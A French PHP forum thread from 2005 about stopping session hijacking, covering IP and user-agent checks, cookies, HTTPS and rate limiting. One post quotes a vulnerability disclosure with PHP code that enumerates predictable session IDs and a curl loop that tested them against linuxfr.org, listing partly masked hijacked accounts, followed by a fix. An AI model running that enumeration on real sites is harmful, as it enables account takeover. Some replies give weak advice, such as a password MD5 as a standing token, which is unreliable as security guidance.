Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
1393 connectés 

  FORUM HardWare.fr
  Programmation
  PHP

  Contrer les piratages de sessions...

 


 Mot :   Pseudo :  
 
 Page :   1  2
Page Précédente
Auteur Sujet :

Contrer les piratages de sessions...

n°1099845
benji_100
Posté le 27-05-2005 à 16:42:44  profilanswer
 

(re)Bonjour,
 
J'ai créé un systeme qui permet à un utilisateur de se loger sur le site. Lorsqu'il se loge, une session lui est attribué, et son ip est conservée en memoire. A chaque page qu'il consulte, on vérifie que son ip est toujours la meme, pour refuser toute personne ayant piraté l'id de session.
 
MAIS (le hic)
 
Il semblerait que cette technique empeche certaines personnes de se connecter au site, comme :
-les proxys : les utilisateurs qui sont derriere un proxy ont tous la meme ip, donc un seul au plus pourra acceder au site à un moment donné (mais cette limitation est acceptable je penses)
-les utilisateurs d'aol (ca pose tjs pb aol...) changent d'ip à chaque page consultée. Ils seront donc pris pour des pirates et ejecté du site...
 
Ce que je penses :
 
Je penses que l'ip est un le seul élément qui nous informe sur l'identité de l'utilisateur. Donc si on peut pas l'utiliser de maniere fiable et stable, alors on ne peut pas proteger les sessions...
 
Mais il doit tout de meme y avoir un moyen nan??? Il font comment les pros de la sécurité ?

mood
Publicité
Posté le 27-05-2005 à 16:42:44  profilanswer
 

n°1099914
cerel
Posté le 27-05-2005 à 17:31:55  profilanswer
 

Tu peux utiliser plusieurs infos que tu obtiens du client.
Par exemple :
- l'user agent de son navigateur
- l'ip du visiteur
- s'il passe par un proxy
- l'os du visiteur
- si tu fais un reverse de l'ip tu peux obtenir le provider et le pays
- la resolution d'ecran.
 
Ensuite il te suffit de faire une comparaison ds toutes ces proprietes et de definir un ecart maximun.
 
Tu peux par exemple dire que si le visiteur utilisant une session echoue a 3 comparaisons, alors tu consideres que la session n'est plus valable.
Comme ca, les utilisateurs d'aol, vont echouer a l'ip, mais en revanche vont continuer a reussir la comparaison sur les autres termes.

n°1099916
esox_ch
Posté le 27-05-2005 à 17:33:37  profilanswer
 

Mouais ... je reste peu entousiaste de ce genre de controle trop "voluble"


---------------
Si la vérité est découverte par quelqu'un d'autre,elle perd toujours un peu d'attrait
n°1099919
yoyo354
Yoyo, le roi du ...
Posté le 27-05-2005 à 17:42:05  profilanswer
 

cerel a écrit :

Tu peux utiliser plusieurs infos que tu obtiens du client.
Par exemple :
- l'user agent de son navigateur
- l'ip du visiteur
- s'il passe par un proxy
- l'os du visiteur
- si tu fais un reverse de l'ip tu peux obtenir le provider et le pays
- la resolution d'ecran.(1)
 
Ensuite il te suffit de faire une comparaison ds toutes ces proprietes et de definir un ecart maximun.
 
Tu peux par exemple dire que si le visiteur utilisant une session echoue a 3 comparaisons, alors tu consideres que la session n'est plus valable.
Comme ca, les utilisateurs d'aol, vont echouer a l'ip, mais en revanche vont continuer a reussir la comparaison sur les autres termes.


 
(1)Tu me la récupères comment la résolution de l'écran en php ?  :heink:  
Tu es obligé de passer par un script JavaScript ? Et si l'utilisateur a désactivé le Javascript  ? :pt1cable:

n°1099920
benji_100
Posté le 27-05-2005 à 17:43:16  profilanswer
 

Merci Cerel, ta reponse est vraiment interressante :-)) Ce sont ces méthodes qui sont utilisées dans le milieu professionnel ?
 
Dois je en conclure qu'il n'y a pas de methode sur à 100% ?
 
Autre question : comment font les pirates pour recuperer une session ? Ils font des requetes aux serveurs avec un id de session qui s auto incremente jusqu'a ce que ca marche ?
 
Merci

n°1099924
cerel
Posté le 27-05-2005 à 17:48:07  profilanswer
 

yoyo354 a écrit :

(1)Tu me la récupères comment la résolution de l'écran en php ?  :heink:  
Tu es obligé de passer par un script JavaScript ? Et si l'utilisateur a désactivé le Javascript  ? :pt1cable:


 
J'etais pas sur, il me semblais que c'etait possible. Au temps pour moi, j'ai dit une betise (si ce n'est qu'une seule ca va :P).
Faut m'excuser c'est vendredi et il faut chaud (vi je sais, excuse facile).

n°1099925
yoyo354
Yoyo, le roi du ...
Posté le 27-05-2005 à 17:48:24  profilanswer
 

Deux méthodes à ma connaissance(qui est limitée) :
- Brute force : on envoie des requêtes au serveur avec plein de SESSONID jusqu'à temps d'avoir une "réponse" ;
- Sur un serveur mutualisé, on récupère les sessions dans /tmp.

n°1099926
pmusa
▓▓▓▓▓▓▓
Posté le 27-05-2005 à 17:53:07  profilanswer
 

et comment envoyer des requêtes avec des sessid au serveur?  :heink:  
 
je suis sur un mutualisé, j'ai pas de dossier tmp.  :??: alors?

n°1099928
dsls
Posté le 27-05-2005 à 17:53:20  profilanswer
 

Et pourquoi pas, tout simplement, une clé unique générée à l'ouverture de session, stockée à la fois dans la session, et sous forme de cookie chez l'utilisateur ?
Il suffit alors de vérifier que le cookie de l'utilisateur correspond bien à la valeur en session ...

n°1099931
yoyo354
Yoyo, le roi du ...
Posté le 27-05-2005 à 17:57:06  profilanswer
 

cerel a écrit :

Faut m'excuser c'est vendredi et il faut chaud (vi je sais, excuse facile).


Il faut également chaud, très chaud chez moi ce vendredi apès-midi. La transpiration qui dégouline de mes mains va provoquer des court-circuits dans mon clavier  :sleep:  
 
Pour en Revenir aux sessions, Il y a deux moyens de se protéger(pas testé) :
- Contre le brute force : detecter les "mauvaises" sessions qui se perpétuent pour un même utilisateur. Ou par l'intermédiaire s'un segment de mémoire partagé qui s'occupe de ça ;  
- Pour les mutualisé : prendre un dédié  :love:  
 
Sinon, le simple fait de comparer en plus l'user-agent devrait déjà faire reculer pendant quelques temps un piratage(Jusqu'au moment où le pirate trouvera sans difficultés l'user-agent de son "client"...)
 
EDIT : La prposition de dsls est pas mal non plus.
 
Mais pour une sécurité "renforcé", rien ne vaut le ssl avec certificat...


Message édité par yoyo354 le 27-05-2005 à 17:59:02
mood
Publicité
Posté le 27-05-2005 à 17:57:06  profilanswer
 

n°1099932
benji_100
Posté le 27-05-2005 à 17:57:12  profilanswer
 

Parce que si le pirate recupere la session, il aura cette variable a disposition...

n°1099934
dsls
Posté le 27-05-2005 à 17:58:40  profilanswer
 

benji_100 a écrit :

Parce que si le pirate recupere la session, il aura cette variable a disposition...


Ben non ... il aura l'ID de session, pas son contenu ...

n°1099938
benji_100
Posté le 27-05-2005 à 18:00:05  profilanswer
 

Pffffiuuuu vous repondez super vite !!!
 
C'est quoi un serveur mutualisé ???
 
Yoyo j ai pas compris tes methodes contre la force brute, pourrait tu developper un peu? ;)

n°1099943
pmusa
▓▓▓▓▓▓▓
Posté le 27-05-2005 à 18:02:00  profilanswer
 

un mutualisé c'est un serveur "squatté" par d'autres clients du prestataire qui t'heberge.  :heink: En gros t'es pas le seul a stocker tes fichiers sur le serveur, d'autres clients ont un espace alloué sur le disque dur de ce serveur.

n°1099944
benji_100
Posté le 27-05-2005 à 18:03:15  profilanswer
 

Merci pmusa :)
Et sur des serveurs mutualisé, tout le monde a acces au /tmp ?

n°1099945
pmusa
▓▓▓▓▓▓▓
Posté le 27-05-2005 à 18:07:40  profilanswer
 

j'avais lu un dossier sur APACHE et je crois pas que ça se fait, et c'est fort heureux.  :sweat: on pourrait aussi chiper les fichiers des autres sinon. :/
 
et j'attend la réponse de yoo à propos du directory /tmp.  :) j'l'lai pas moua ce truc.
 
 
AU PASSAGE, qqn sait à quoi sert le dossier vti_cnf  :??:

n°1099949
yoyo354
Yoyo, le roi du ...
Posté le 27-05-2005 à 18:10:44  profilanswer
 

pmusa a écrit :

un mutualisé c'est un serveur "squatté" par d'autres clients du prestataire qui t'heberge.  :heink: En gros t'es pas le seul a stocker tes fichiers sur le serveur, d'autres clients ont un espace alloué sur le disque dur de ce serveur.


 
On se demande pas ce que tu penses des dédiés  :D  
C'est vrai que les dédiés c'est pas top, mais tout le monde n'a pas les qualifications requises pour configurer et sécuriser un serveur dédié "juste" pour l'hebergement d'un site. :jap:  
 
Pour contrer le brute force, rien de mieux qu'un exmple trouvé dans PHPCOOK (chapitre 8.27). (Je suis dégouté, j'achète ce bouqin 40€ et je le retrouve en téléchargement sur le net :fou: )
J'ai pas testé ce script, mais en gros, il regarde si les gens se connectent pas trop souvent sur le site ( par exemple : 500 connections en 1 minutes, ça fait beaucoup) et si ils abusent, on leur affiche une page d'erreur.
 
Pour le /tmp et non tmp : ( /tmp est à la racine du serveur, tmp serait à la racine de ton homedire (/home/benji_100/tmp). Ce repertoire comme son nom l'indique contient tout ce qui est temporaire, comme les sessions. On peut remedier à ceci en utilisant session_set_save_handler pour customiser l'enregistrement des sessions(dans une bd(Pour partagé les sessions entres plusieurs serveurs...), un fichier txt, sur une feuille de papier...).


Message édité par yoyo354 le 27-05-2005 à 18:16:34
n°1099961
esox_ch
Posté le 27-05-2005 à 18:27:25  profilanswer
 

Ce week-end je vais essayer de trouver le temps d'écrire le tuto que j'ai commancer il y a quelques mois, sur comment securiser les sessions ... Chose passionnante (et on ne rigole pas) mais deprimante (vous verrez pourquoi)


---------------
Si la vérité est découverte par quelqu'un d'autre,elle perd toujours un peu d'attrait
n°1099965
benji_100
Posté le 27-05-2005 à 18:33:23  profilanswer
 

esox_ch, ou peut on consutler ce tuto ? Il est deja en ligne ?

n°1099966
yoyo354
Yoyo, le roi du ...
Posté le 27-05-2005 à 18:33:23  profilanswer
 

esox_ch a écrit :

Ce week-end je vais essayer de trouver le temps d'écrire le tuto que j'ai commancer il y a quelques mois, sur comment securiser les sessions ... Chose passionnante (et on ne rigole pas) mais deprimante (vous verrez pourquoi)


Enfin !  
 
 :)
 
benji_100, esox_ch à dit ce week-end....


Message édité par yoyo354 le 27-05-2005 à 18:34:45
n°1099967
benji_100
Posté le 27-05-2005 à 18:35:55  profilanswer
 

Ya peut etre deja une partie en ligne :P

n°1100002
benji_100
Posté le 27-05-2005 à 19:32:25  profilanswer
 

Citation :

Mais pour une sécurité "renforcé", rien ne vaut le ssl avec certificat...


Je ne connait pas bien ... il faut des prerequis sur le serveur ? Le site est sur un serveur mutualisé en effet, je peut pas faire tout ce que je veut :)
Je n'utilise pas les cookies ... dommage ... j aurai pu utiliser la solution de dsdl mais certains utilisateurs desactivent les cookies.


Message édité par benji_100 le 27-05-2005 à 19:34:26
n°1100009
The-Shadow
Développeur
T'as été voir dans ton profil?
Posté le 27-05-2005 à 19:44:55  profilanswer
 

Perso (je sens que je vais me faire taper dessus), je n'utilise plus les sessions du tout.
Je suis loin de m'y connaitre comme esox_ch, mais mon petit doigt me dis que ce qui est déprimant, c'est qu'il n'y a pas de moyen fiable à 100%.
Perso, j'utilise uniquement les cookies, y'en a qui les désactive, bah tant pis, au moment de l'inscription sur mon site, je le précise : Si pas de cookies, pas de chocolat mais au moins, les cookies, le seul moyen de les piraters, c'est d'aller sur l'ordi du membre.  

n°1100019
gizmo
Posté le 27-05-2005 à 19:56:45  profilanswer
 

The-Shadow a écrit :

Perso (je sens que je vais me faire taper dessus), je n'utilise plus les sessions du tout.
Je suis loin de m'y connaitre comme esox_ch, mais mon petit doigt me dis que ce qui est déprimant, c'est qu'il n'y a pas de moyen fiable à 100%.
Perso, j'utilise uniquement les cookies, y'en a qui les désactive, bah tant pis, au moment de l'inscription sur mon site, je le précise : Si pas de cookies, pas de chocolat mais au moins, les cookies, le seul moyen de les piraters, c'est d'aller sur l'ordi du membre.


 
bah tu fais bien de ne plus utiliser les sessions, surtout celles du php. Par contre les cookies ne sont pas plus secures, voire meme moins...
 
Avant tout, il faut faire la part des choses. Est-ce que les donnees sont tellement sensibles, ou bien cela ne sert que pour un petit site ou forum?
Dans le premier cas, on utilisera du https, seul protocole sur pour ce genre d'echange. Dans le second cas, arretez de vous casser la tete... y a pas de solution miracle. Prevoyez plutot un bon systeme de backup en cas de degats.

n°1100024
gizmo
Posté le 27-05-2005 à 20:01:12  profilanswer
 

Chase a écrit :

Pas bête, ça évite le brute force :p (et donc, pas besoin de vérifier la fréquence des connexions)
 
Et en md5-hashant cette clé unique, même si le pirate a accès au contenu de la session, il mettra un certain temps avant de trouver la clé décryptée.
 
Mais tout le monde n'accepte pas les cookies. Donc il faudrait interdire à PHP de faire passer les sessions par GET, et n'autoriser que par les cookies.
A moins que quelqu'un d'autre ait une idée pour ce cas particulier ?


le pirate s'en fout de la clef originale. avec une bonne machine, il ne lui faudra pas longtemp pour en trouver une qui donnera le meme hashing.

n°1100029
benji_100
Posté le 27-05-2005 à 20:07:46  profilanswer
 

Citation :

Avant tout, il faut faire la part des choses. Est-ce que les donnees sont tellement sensibles, ou bien cela ne sert que pour un petit site ou forum?  
Dans le premier cas, on utilisera du https, seul protocole sur pour ce genre d'echange. Dans le second cas, arretez de vous casser la tete... y a pas de solution miracle. Prevoyez plutot un bon systeme de backup en cas de degats.


Serait ce la conclusion de ce post ? ;-)

n°1100030
elianor
bannie 17 fois
Posté le 27-05-2005 à 20:08:19  profilanswer
 

Chase a écrit :

Pas bête, ça évite le brute force :p (et donc, pas besoin de vérifier la fréquence des connexions)


 
Encore faut-il que le calcul de clef ai pas un bug :o
 

Bonsoir à tous
 
Ca a commence par une remarque sur la tribune de woof. Quelqu'un s'est
trompe dans la configuration de son canard, et a mis son session_id de
woof.lu pour linuxfr.org. Résultat : il se retrouve avec un compte
qui n'est pas le siens.
 
C'est de là qu'est née l'interrogation. Soit un sessionId valide
sur un site dacode, quelle est le pourcentage de chances pour qu'il
donne un compte sur linuxfr.
 
Un sessionID, c'est 19 caracteres, minuscules, majuscules ou chiffre,
soit theoriquement (26+26+10)19 possibilitées (ma calculatrice me
dit : 1.1361668153983839080134359106716e+34).
 
Donc dans ce cas, la probabilité de tomber sur un sessionId existant
est très faible, donc celui à qui c'est arrivé devrait jouer au loto.
 
Auditons maintenant le code. La creation d'un id se fait dans
phplib/users.php3, par un makerand (19);
 
Voyons la fonction makerand :
 
   Function makerand($nb=8) {
       mt_srand((double)microtime()*1000000);
       $r="";
       $r1=array(48,65,97);
       $r2=array(57,90,122);
       for($i=1; $i<=$nb; $i++) {
           $j=mt_rand(0,2);
           $r.=sprintf("%c",mt_rand($r1[$j],$r2[$j]));
       }
       return $r;
   }
 
On voit qu'elle initialize son randomizer a chaque passage, et que le
reste dépend uniquement de la valeur de cette initialization.
Ce qui fait qu'en fait, il y a autant de sessionID que de valeur
d'initializations possibles. Soit 1000000.
 
Verifions maintenant ceci avec une page capable d'afficher la liste
des sessionId valides :
 
<?php
 
   Function makerand($nb=8,$init) {
       mt_srand($init);
       $r="";
       $r1=array(48,65,97);
       $r2=array(57,90,122);
       for($i=1; $i<=$nb; $i++) {
           $j=mt_rand(0,2);
           $r.=sprintf("%c",mt_rand($r1[$j],$r2[$j]));
       }
       return $r;
   }
 
   for ($i = 0; $i < 1000000; $i += 2){
       echo makerand (19, $i) . "\n";
       }
?>
 
Juste une remarque, le $i += 2 est là parcequ'en fait, il y a 500000
possibilité d'initialization, pour un $init pair, $init + 1 renvoient
le même sessionId.
 
Ca a l'air d'être une caractèristique de mt_srand si j'en croit le
resultat de cette fonction :
 
<?php
   for ($i = 0; $i < 10; $i += 1){
       mt_srand ($i);
       $v1 = mt_rand (0, 10);
       $v2 = mt_rand (0, 10);
       $v3 = mt_rand (0, 10);
       print ("i=$i vals = $v1 $v2 $v3 <br>" );
       }
?>
 
Qui m'affiche :
   i=0 vals = 9 10 5
   i=1 vals = 9 10 5
   i=2 vals = 6 6 10
   i=3 vals = 6 6 10
   i=4 vals = 1 0 10
   i=5 vals = 1 0 10
   i=6 vals = 9 6 1
   i=7 vals = 9 6 1
   i=8 vals = 7 2 9
   i=9 vals = 7 2 9
 
Donc je passe ma moulinette a calcul de session avec un :
[kadreg@rincevent kadreg]$ curl rincevent.dyndns.org/microtime.php3 > sessionsid.txt
 
J'obtient un gros fichier de 10Mo sensé contenir l'ensemble des sessionID
de dacode :
[kadreg@rincevent kadreg]$ ll sessionsid.txt
-rw-r-----    1 kadreg   web      10000000 aoû 31 14:27 sessionsid.txt
[kadreg@rincevent kadreg]$
 
Selon http://linuxfr.org/users/?a=mu, j'ai 6 sessions actuellement
ouvertes sur dlfp, je vérifie que les 6 identifiants sont biens
dans le fichier :
 
[kadreg@rincevent kadreg]$ grep XXXXXXXXXXXXXXXXXXX sessionsid.txt
XXXXXXXXXXXXXXXXXXX
[kadreg@rincevent kadreg]$
 
Mes six sessions sont bien dans le fichier. Sur linuxfr, il y a 19919
sessions déclarées. Donc si je prend un identifiant de session au hasard
dans mon fichier, il a (19919/500000) 4% de chances de correspondre à un
compte valide sur dlfp.
 
Maintenant, comment faire pour tester qu'un sessionId est affecte a
quelqu'un ? La meilleure que j'ai trouvée est d'utiliser la page
des préférences.
 
[kadreg@rincevent kadreg]$ curl --cookie session_id=XXXXXXXXXXXXXXXXXX http://linuxfr.org/users/?a=mu | grep Login
 
Cette ligne affichera rien si le sessionId est invalide, les informations
sur l'utilisateur (Login, Nom, Prenom, email, ...) si elle l'est.
 
Faisons en un simple script :
 
[kadreg@rincevent kadreg]$ cat crackdlfp.sh
export NUM=3
for i in `head -$NUM sessionsid.txt`
do
echo --------------------------------
echo sessionId = $i
curl --cookie session_id=$i http://linuxfr.org/users/?a=mu | grep Login
done
[kadreg@rincevent kadreg]$
 
La premiere ligne permet de definir combien de sessionsID du fichier
faut-il tenter.
 
Pour valider l'idee, faisons un essai avec 200 sessionsID (les 200 premiers
du fichier). On trouve trois comptes valides :
DaK i769pG8I3..........
christ E9l915FS75..........
inzemoon 59M0VlN..........
 
Sur les 200 suivants, 10 comptes valides  :
 
rellik t4kIz3rvA..........
gdelamarre 29im9m..........
olicaro rDk7wpWV..........
antibarbie Qleq820F..........
Flipo pGJrtDQl0..........
funkix 184jjm2W7..........
daique DABA47O..........
Huzi 26mos0J7..........
Flipo H16Fnd3S..........
puce jkNiapIuH..........
 
Correction du bug :
Ne limitons plus le srand, faisons lui choisir entre 4 Milliards
de nombres, il y auras  ainsi 4000 fois plus de possibilité de
sessions. On obtient ainsi une nouvelle fonction makerand pour
phplib/users.php3. Seule l'appel à mt_srand change. Cette fonction
tourne actuellement sur woof.lu pour la valider  :
 
       Function makerand($nb=8) {
               mt_srand(((time () % 4096)+((double)microtime ()))*1000000);
               $r="";
               $r1=array(48,65,97);
               $r2=array(57,90,122);
               for($i=1; $i<=$nb; $i++) {
                       $j=mt_rand(0,2);
                       $r.=sprintf("%c",mt_rand($r1[$j],$r2[$j]));
               }
               return $r;
       }


---------------
JE JE SUIS LIBERTINEEEEEEEEEEE JE SUIS UNE CATINNNNNNNNN §§§§§§§§
n°1100036
The-Shadow
Développeur
T'as été voir dans ton profil?
Posté le 27-05-2005 à 20:18:37  profilanswer
 

gizmo a écrit :

bah tu fais bien de ne plus utiliser les sessions, surtout celles du php. Par contre les cookies ne sont pas plus secures, voire meme moins...


A quel niveau ?
 

n°1100069
benji_100
Posté le 27-05-2005 à 20:57:46  profilanswer
 

Elianor, les fonction cette fonction makerand etait propre a CE serveur en particulier non ?

n°1100070
elianor
bannie 17 fois
Posté le 27-05-2005 à 20:58:36  profilanswer
 

benji_100 a écrit :

Elianor, les fonction cette fonction makerand etait propre a CE serveur en particulier non ?


 
reprises intégralement de la doc PHP de l'époque, donc pas mal de site doivent encore avoir le problème [:spamafote]


---------------
JE JE SUIS LIBERTINEEEEEEEEEEE JE SUIS UNE CATINNNNNNNNN §§§§§§§§
n°1100073
benji_100
Posté le 27-05-2005 à 21:07:42  profilanswer
 

c'est fou ca ...

n°1100124
gizmo
Posté le 27-05-2005 à 23:26:10  profilanswer
 

The-Shadow a écrit :

A quel niveau ?


vol d'info dans le cookie par un site tiers ou un javascript. les seuls infos qu'un cookie devrait contenir sont des preferences d'affichages, et, dans le moins bon cas, des infos de login temporaire modifiees regulierement.

n°1100127
The-Shadow
Développeur
T'as été voir dans ton profil?
Posté le 27-05-2005 à 23:36:16  profilanswer
 

gizmo a écrit :

vol d'info dans le cookie par un site tiers ou un javascript. les seuls infos qu'un cookie devrait contenir sont des preferences d'affichages, et, dans le moins bon cas, des infos de login temporaire modifiees regulierement.


Par un site tiers, c'est possible ça ? :ouch:  
Bon, sinon, pour le javascript, suffit de pas l'autoriser sur ton site, parce qu'autrement, ni cookies ni sessions ni htaccess ne sont complètement sécurisés à ce que j'imagine.

n°1100129
elianor
bannie 17 fois
Posté le 27-05-2005 à 23:42:42  profilanswer
 

The-Shadow a écrit :

Par un site tiers, c'est possible ça ? :ouch:  


 
cross site scripting [:spamafote]
 
C'est un classique.
 
http://www.phpsecure.info/v2/article/XSS.php


---------------
JE JE SUIS LIBERTINEEEEEEEEEEE JE SUIS UNE CATINNNNNNNNN §§§§§§§§
n°1100135
The-Shadow
Développeur
T'as été voir dans ton profil?
Posté le 27-05-2005 à 23:55:13  profilanswer
 


Je ne pense pas que Gizmo parle de ça, faut pas me prendre pour un gros newb non plus, c'est le genre de faille qu'on apprend à son troisième jour de PHP. :D
Y'a-t-il encore quelqu'un qui affiche des entrées de formulaire de visiteurs sur son site sans passer par un htmlentities ? Si oui, qu'il se lève sans honte. :D


Message édité par The-Shadow le 27-05-2005 à 23:56:06
n°1100169
Manaloup
Posté le 28-05-2005 à 05:16:40  profilanswer
 

perso je fait un hash md5 de l'IP concaténée de l'UserAgent pour sécuriser mes sessions et mes cookies.

n°1100237
AthlonSold​ier
Feel the power
Posté le 28-05-2005 à 11:20:33  profilanswer
 

Chase a écrit :

Pas bête, ça évite le brute force :p (et donc, pas besoin de vérifier la fréquence des connexions)
 
Et en md5-hashant cette clé unique, même si le pirate a accès au contenu de la session, il mettra un certain temps avant de trouver la clé décryptée.
 
Mais tout le monde n'accepte pas les cookies. Donc il faudrait interdire à PHP de faire passer les sessions par GET, et n'autoriser que par les cookies.
A moins que quelqu'un d'autre ait une idée pour ce cas particulier ?


 
De toute facon et honnetement je vois pas pourquoi vous vous emmerdez avec des sessions ou cookies. Un truc fiable c'est de générer le hash MD5 du mot de passe de l'utilisateur et de le transmettre à chaque demande d'une page. Puis on compare ce hash pour authentifier l'utilisateur du coté serveur...  :jap:
 
+ HTTPS pour éviter des analyses de trames entre le client et le serveur  :jap:  
 
Et là honnetement je vois pas comment on pourrait s'authentifier sur le serveur (faille script php & faille dans les services du serveur exclu).  :o


Message édité par AthlonSoldier le 28-05-2005 à 11:23:21
n°1100238
elianor
bannie 17 fois
Posté le 28-05-2005 à 11:21:20  profilanswer
 

AthlonSoldier a écrit :

De toute facon et honnetement je vois pas pourquoi vous vous emmerdez avec des sessions ou cookies.


 
Parce que dans une session, on peut stocker des informations ?


---------------
JE JE SUIS LIBERTINEEEEEEEEEEE JE SUIS UNE CATINNNNNNNNN §§§§§§§§
n°1100240
AthlonSold​ier
Feel the power
Posté le 28-05-2005 à 11:22:27  profilanswer
 

elianor a écrit :

Parce que dans une session, on peut stocker des informations ?


Tu peux tres bien crée une table qui associe a chaque MD5(password) des informations du coté serveur  :o

n°1100243
AthlonSold​ier
Feel the power
Posté le 28-05-2005 à 11:25:34  profilanswer
 

gizmo a écrit :

le pirate s'en fout de la clef originale. avec une bonne machine, il ne lui faudra pas longtemp pour en trouver une qui donnera le meme hashing.


 
[:rofl] [:rofl]
 
Je suis désolé mais si tu génére le hash MD5 à partir d'un numéro de session PHP (qui represente 128 bits), tu peux t'accrocher pour le brute forcé, meme avec un super calculateur  [:sygus]

mood
Publicité
Posté le   profilanswer
 

 Page :   1  2
Page Précédente

Aller à :
Ajouter une réponse
  FORUM HardWare.fr
  Programmation
  PHP

  Contrer les piratages de sessions...

 

Sujets relatifs
Probleme sur les sessions PHP[Java] Obtenir la liste des sessions d'un serveur J2EE
Désactiver les sessions pour les Search Engine crawlersLien de déstruction de sessions sans formulaire, sans page dédiée
probleme avec les sessionsMes sessions, question de sécurité...
Variables partagées entre sessions[sessions et easyphp 1.7] probleme page à page
Faire des sessions PHP sur un compte gratuit Freegérer les sessions en C#
Plus de sujets relatifs à : Contrer les piratages de sessions...


Copyright © 1997-2022 Hardware.fr SARL (Signaler un contenu illicite / Données personnelles) / Groupe LDLC / Shop HFR